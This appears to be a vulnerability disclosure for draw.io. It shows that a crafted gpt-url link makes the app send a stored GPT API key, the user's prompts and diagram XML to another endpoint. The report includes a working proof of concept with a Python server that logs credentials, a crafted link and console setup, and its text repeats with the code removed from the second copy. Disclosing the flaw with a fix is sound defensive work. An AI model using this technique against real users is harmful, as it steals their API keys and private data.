Summary
draw.io allows the GPT endpoint to be overridden through the gpt-url query parameter.
Separately, the application can persist a user's GPT API key.
When both features are combined, an attacker-controlled URL can change the endpoint while the victim's stored API key remains active.
If the victim then uses GPT normally, draw.io sends the stored API key in the Authorization header to the attacker-controlled endpoint.
The request also contains the user's prompt and can include diagram XML.
Reproduction
Use Arch Linux with draw.io 31.4.4 in Chromium. Use only a fake API key.
Create a local collection endpoint:
cat >/tmp/drawio_ai_collect.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
ALLOWED_ORIGIN = "http://app.diagrams.net:8000"
class Handler(BaseHTTPRequestHandler):
def cors(self):
self.send_header("Access-Control-Allow-Origin", ALLOWED_ORIGIN)
self.send_header(
"Access-Control-Allow-Headers",
"authorization, content-type"
)
self.send_header(
"Access-Control-Allow-Methods",
"POST, OPTIONS"
)
def do_OPTIONS(self):
self.send_response(204)
self.cors()
self.end_headers()
def do_POST(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length)
print("AUTHORIZATION:", self.headers.get("Authorization"))
print("BODY:", body.decode("utf-8", "replace"))
response = (
b'{"choices":[{"message":{"content":'
b'"PoC response"}}]}'
)
self.send_response(200)
self.cors()
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def log_message(self, fmt, *args):
pass
HTTPServer(("127.0.0.1", 9000), Handler).serve_forever()
PY
python3 /tmp/drawio_ai_collect.py
Serve draw.io:
cd src/main/webapp
python3 -m http.server 8000 --bind 127.0.0.1
Launch an isolated Chromium profile while mapping app.diagrams.net to localhost:
chromium \
--host-resolver-rules="MAP app.diagrams.net 127.0.0.1" \
--user-data-dir=/tmp/drawio-poc-profile \
"http://app.diagrams.net:8000/"
Configure the following disposable GPT API key in draw.io:
DRAWIO-FAKE-API-KEY-4cb912
Leave the custom GPT URL unset.
For a direct source-path test, the same state can be created in the browser console:
localStorage.setItem(
'.configuration',
JSON.stringify({
gptApiKey: 'DRAWIO-FAKE-API-KEY-4cb912'
})
);
location.reload();
Now navigate to:
http://app.diagrams.net:8000/?gpt-url=http%3A%2F%2F127.0.0.1%3A9000%2Fchat
Open the GPT/AI interface and submit:
DRAWIO-AI-PROMPT-PROOF-81e245
The collection endpoint should receive:
AUTHORIZATION: Bearer DRAWIO-FAKE-API-KEY-4cb912
BODY: {"model":"gpt-5.1-2025-11-13","messages":[{"role":"system","content":"You are a helpful assistant that generates diagrams in either MermaidJS or draw.io XML format based on the given prompt. Begin with a concise checklist (3-7 bullets) of what you will do; keep items conceptual, not implementation-level. Produce valid and correct syntax, and choose the appropriate format depending on the prompt: if the requested diagram cannot be represented in MermaidJS, generate draw.io XML instead but do not use indentation and newlines. When asked to modify a diagram that is given in the conversation as draw.io XML, return the complete updated diagram as draw.io XML, not MermaidJS, and keep the existing id attribute of every cell that is kept so it can be matched to the diagram on the canvas. After producing the diagram code, validate that the output matches the requested format and diagram type and has correct syntax. Only include the diagram code in your response; do not add any additional text, checklists, instructions or validation results. If the prompt is a question or does not ask for a diagram, answer it as plain text without any diagram code instead."},{"role":"user","content":"DRAWIO-AI-PROMPT-PROOF-81e245"}]}
This confirms that the attacker-selected endpoint received a credential loaded from the victim's persistent configuration.
To test diagram-context disclosure, create a disposable diagram containing:
DRAWIO-AI-DIAGRAM-PROOF-b515aa
Attach the current diagram as context and submit another request.
The captured body should then contain:
DRAWIO-AI-DIAGRAM-PROOF-b515aa
Root cause
During initialization, draw.io reads:
from the page URL and uses it to populate the GPT endpoint.
The GPT configuration also defines:
Authorization: Bearer {apiKey}
draw.io separately persists:
in its local configuration.
When that saved configuration is loaded, the API key is restored, but the GPT endpoint is only replaced when the saved configuration explicitly contains:
This allows the following mixed state:
API key:
victim's persistent configuration
GPT endpoint:
attacker-controlled gpt-url parameter
When a GPT request is sent, the chat code effectively performs:
var url = Editor.replacePlaceholders(
config.endpoint,
resolver
);
var req = new mxXmlRequest(
url,
JSON.stringify(params),
'POST'
);
and applies the configured request headers, including:
Authorization: Bearer <stored API key>
The attack flow is:
victim previously saves GPT API key
-> attacker sends crafted ?gpt-url=...
-> victim opens link
-> stored API key is restored
-> attacker endpoint remains selected
-> victim sends normal GPT message
-> Authorization header + prompt
-> attacker-controlled endpoint
If diagram context is attached, the request can also contain the diagram XML.
Impact
A remote attacker can potentially obtain a victim's persistently configured GPT API key after the victim opens a crafted draw.io link and uses the GPT feature.
The same request can disclose prompts, conversation content, and attached diagram data.
The victim does not need to approve the endpoint change or re-enter the API key.
Suggested fix
Navigation parameters should not be allowed to override credential-bearing AI endpoints while persistent credentials remain active.
Changing the endpoint origin should require explicit confirmation and should clear or disable previously stored credentials until the new endpoint is separately trusted.
Summary
draw.io allows the GPT endpoint to be overridden through the
gpt-urlquery parameter.Separately, the application can persist a user's GPT API key.
When both features are combined, an attacker-controlled URL can change the endpoint while the victim's stored API key remains active.
If the victim then uses GPT normally, draw.io sends the stored API key in the
Authorizationheader to the attacker-controlled endpoint.The request also contains the user's prompt and can include diagram XML.
Reproduction
Use Arch Linux with draw.io 31.4.4 in Chromium. Use only a fake API key.
Create a local collection endpoint:
Serve draw.io:
cd src/main/webapp python3 -m http.server 8000 --bind 127.0.0.1Launch an isolated Chromium profile while mapping
app.diagrams.netto localhost:Configure the following disposable GPT API key in draw.io:
Leave the custom GPT URL unset.
For a direct source-path test, the same state can be created in the browser console:
Now navigate to:
Open the GPT/AI interface and submit:
The collection endpoint should receive:
This confirms that the attacker-selected endpoint received a credential loaded from the victim's persistent configuration.
To test diagram-context disclosure, create a disposable diagram containing:
Attach the current diagram as context and submit another request.
The captured body should then contain:
Root cause
During initialization, draw.io reads:
from the page URL and uses it to populate the GPT endpoint.
The GPT configuration also defines:
draw.io separately persists:
in its local configuration.
When that saved configuration is loaded, the API key is restored, but the GPT endpoint is only replaced when the saved configuration explicitly contains:
This allows the following mixed state:
When a GPT request is sent, the chat code effectively performs:
and applies the configured request headers, including:
The attack flow is:
If diagram context is attached, the request can also contain the diagram XML.
Impact
A remote attacker can potentially obtain a victim's persistently configured GPT API key after the victim opens a crafted draw.io link and uses the GPT feature.
The same request can disclose prompts, conversation content, and attached diagram data.
The victim does not need to approve the endpoint change or re-enter the API key.
Suggested fix
Navigation parameters should not be allowed to override credential-bearing AI endpoints while persistent credentials remain active.
Changing the endpoint origin should require explicit confirmation and should clear or disable previously stored credentials until the new endpoint is separately trusted.